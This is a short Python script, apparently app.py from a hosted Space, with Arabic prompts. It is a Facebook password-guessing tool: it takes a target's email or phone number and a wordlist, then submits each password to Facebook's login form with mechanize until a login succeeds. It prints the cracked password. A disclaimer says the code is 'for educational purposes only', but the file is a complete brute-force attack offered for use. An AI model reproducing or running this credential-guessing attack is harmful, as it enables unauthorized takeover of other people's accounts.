Sadside / app.py
Mazenvip12's picture
Update app.py
14bd436 verified
import requests
from bs4 import BeautifulSoup
import mechanize
import sys
def facebook_cracker():
print("\n\n\t\t=== أداة تخمين كلمة مرور فيسبوك ===")
print("\t\t(هذا الكود للأغراض التعليمية فقط)\n")
email = input("أدخل البريد الإلكتروني أو رقم الهاتف: ")
password_list = input("أدخل مسار ملف كلمات المرور (wordlist.txt): ")
try:
with open(password_list, 'r') as file:
passwords = file.readlines()
except:
print("\n[!] خطأ في فتح ملف كلمات المرور")
sys.exit(1)
br = mechanize.Browser()
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')]
print("\n[+] بدء عملية التخمين...")
for password in passwords:
password = password.strip()
try:
br.open("https://www.facebook.com/login.php")
br.select_form(nr=0)
br.form['email'] = email
br.form['pass'] = password
response = br.submit()
if "login_attempt" not in response.geturl():
print("\n[+] تم العثور على كلمة المرور!")
print(f"[+] كلمة المرور هي: {password}")
sys.exit(0)
else:
print(f"[-] تجربة كلمة المرور: {password} - فشلت")
except:
print("\n[!] حدث خطأ أثناء الاتصال بفيسبوك")
sys.exit(1)
print("\n[-] لم يتم العثور على كلمة المرور في القائمة المقدمة")
if __name__ == "__main__":
facebook_cracker()